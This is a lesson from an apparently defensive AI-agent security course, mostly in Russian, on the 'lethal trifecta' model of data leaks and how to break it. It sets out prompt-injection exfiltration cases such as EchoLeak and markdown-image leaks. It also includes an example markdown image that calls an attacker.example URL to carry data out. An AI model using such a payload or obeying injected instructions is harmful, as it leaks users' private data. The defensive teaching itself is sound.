← AI agent security: from prompt injection to the OWASP LLM Top 10
03 / 07 · 55 min

The lethal trifecta and exfiltration channels

The Simon Willison model: private data + untrusted input + an outbound channel = leak. Learn to find and break at least one leg of the trifecta.

Lesson content is currently available in Russian.

What you will learn

  • →Распознавать смертельную триаду и незаметные каналы эксфильтрации в архитектуре агента.
  • →Предотвращать утечку, разрывая одну из трёх ног триады детерминированными мерами.
  • →Реагировать на риск эксфильтрации проверкой egress и рендеринга внешних ресурсов.

Три ноги смертельной триады

Саймон Уиллисон предложил простую и мощную модель — «смертельная триада» (the lethal trifecta). Массовая утечка данных через агента становится возможной, когда одновременно сходятся три условия. Первое: доступ к приватным данным — агент видит вашу почту, файлы, ключи, содержимое базы. Второе: контакт с недоверенным контентом — агент читает данные, в которые атакующий мог что-то записать (веб, письма, документы). Третье: способность к внешней коммуникации — у агента есть канал наружу, которым можно вынести данные.

Поодиночке каждая нога безобидна. Агент, который видит вашу почту, но не читает внешний контент и не ходит наружу, полезен и безопасен. Проблема — именно в сочетании всех трёх: недоверенный контент несёт инъекцию, инъекция дотягивается до приватных данных, канал наружу их выносит. И поскольку prompt injection мы не умеем блокировать надёжно (уроки 1–2), при наличии всех трёх ног утечка — вопрос времени, а не «если».

Ценность модели в том, что она переводит защиту из невозможного в выполнимое. Мы не обещаем «сделать модель неуязвимой к инъекциям». Мы ищем в конкретном агенте все места, где сходятся три ноги, и убираем хотя бы одну — детерминированно, кодом. Это и есть рабочий чек-лист безопасности агента.

Каналы эксфильтрации, о которых забывают

Третья нога — «канал наружу» — почти всегда шире, чем кажется, и это главная слепая зона. Очевидные каналы: инструмент HTTP-запроса, отправка почты, вебхук, запись в публичный ресурс. Но канал возникает и там, где о нём не думали. Классика — рендеринг markdown-картинок: если интерфейс автоматически загружает ![](https://attacker.example/leak?data=...), то данные в URL утекают запросом браузера, даже если у агента нет ни одного «сетевого» инструмента.

Похоже работают автоматически кликаемые ссылки, предпросмотр URL (unfurling) в мессенджерах, запросы к сторонним доменам за шрифтами или ресурсами, DNS-запросы, а также любые инструменты, которые «безобидно» ходят в сеть — поиск, загрузка превью, проверка ссылки. Даже запись украденного в общий документ или тикет, к которому у атакующего есть доступ, — это эксфильтрация.

Защитная практика: составить полную карту egress. Для каждого способа, которым текст из контекста может достичь сети или общего с атакующим хранилища, спросить — нужен ли он и как его сузить. Меры: отключить авто-рендеринг внешних изображений или проксировать их, ввести строгий allowlist доменов и Content-Security-Policy, запретить произвольные исходящие запросы, экранировать/обезвреживать ссылки в выводе. Убрать канал наружу часто проще и надёжнее, чем две другие ноги.

Инциденты: триада в дикой природе

Почти каждая громкая утечка через ассистента — это собранная триада. EchoLeak в Microsoft 365 Copilot: приватные данные (почта, документы) + недоверенное письмо с инъекцией + канал наружу — все три ноги, отсюда zero-click кража. Эксфильтрации через markdown-картинки в ChatGPT, Google Bard/Gemini, GitHub Copilot Chat и других (документированы Johann Rehberger): приватный контекст пользователя + инъекция из внешнего документа/страницы + авто-рендеринг картинки как канал.

Отдельно показательны атаки на браузерных агентов и «operator»-режимы: агент с доступом к залогиненным сессиям пользователя (приватные данные) заходит на подконтрольную атакующему страницу (недоверенный контент) и может действовать в других вкладках/сервисах (канал наружу и действия). Исследователи не раз демонстрировали кражу данных и несанкционированные действия именно на этой связке.

Во всех случаях фикс сводился к разрыву триады, а не к «умному промпту»: Microsoft и другие вводили ограничения на исходящие ссылки и рендеринг, разделяли контексты доверия, сужали, к каким данным агент имеет доступ в присутствии внешнего контента. Для защитника вывод прямой: разбирая инцидент или проектируя агента, первым делом раскладывайте систему на три ноги и проверяйте, где они пересекаются в одном сеансе.

Как разорвать триаду на практике

Стратегия — сознательно лишить агента одной ноги в каждом сценарии, где иначе сходятся все три. Разрыв ноги «недоверенный контент»: обрабатывать внешний текст отдельной моделью/сервисом без доступа к приватным данным и инструментам (паттерн dual-LLM); либо строго санитизировать источники. Разрыв ноги «приватные данные»: применять least privilege и скоупинг токенов (урок 4) — если в сеансе с внешним контентом агент физически не имеет доступа к секретам, выносить нечего.

Разрыв ноги «канал наружу»: сетевая изоляция и egress-контроль (урок 4), запрет авто-рендеринга внешних ресурсов, allowlist доменов, human approval gate на любое действие, отправляющее данные вовне. Часто это самый дешёвый и надёжный разрыв.

Архитектурный идеал — подход CaMeL (Google DeepMind, 2025): привилегированная LLM строит план действий только из доверенного запроса пользователя, а недоверенные данные проходят через отдельную «карантинную» LLM и по построению не могут влиять на поток управления и на то, куда и что отправляется. Это переносит защиту из «уговоров модели» в детерминированную систему прав вокруг неё. Практический минимум для любой команды: для каждого агента явно записать, какую ногу триады вы разрываете и каким именно механизмом — и убедиться, что механизм детерминированный, а не «модель обещала не сливать».

Practice

Аудит смертельной триады

Разложите своего агента на три ноги: (1) к каким приватным данным есть доступ, (2) какой недоверенный контент он читает, (3) какими способами текст может уйти наружу (включая рендеринг картинок, ссылки, unfurl, сторонние запросы). Найдите все сеансы, где сходятся все три.

Deliverable

Карта триады с отмеченными опасными пересечениями и решение по каждому: какую ногу и каким детерминированным механизмом вы разрываете (dual-LLM, скоуп токена, egress-allowlist, approval gate).

Checkpoint

Сформулируйте смертельную триаду и объясните, почему безопаснее разрывать одну ногу, чем «защищать модель от инъекций».

  • ✓ Названы все три ноги: приватные данные, недоверенный контент, канал наружу.
  • ✓ Показано, что инъекция ненадёжно блокируется, а разрыв ноги — детерминированная мера.
  • ✓ Приведён конкретный канал эксфильтрации (например, авто-рендеринг картинки) и способ его закрыть.

Check yourself

Из каких трёх компонентов состоит смертельная триада?

01Из каких трёх компонентов состоит смертельная триада?

Почему рендеринг markdown-картинок — это канал эксфильтрации?

02Почему рендеринг markdown-картинок — это канал эксфильтрации?

Почему модель триады практически полезнее, чем цель «сделать модель неуязвимой к инъекциям»?

03Почему модель триады практически полезнее, чем цель «сделать модель неуязвимой к инъекциям»?

В чём ключевая идея подхода CaMeL для разрыва триады?

04В чём ключевая идея подхода CaMeL для разрыва триады?

Sources

The lethal trifecta and exfiltration channels · AI agent security: from prompt injection to the OWASP LLM Top 10 · VORCL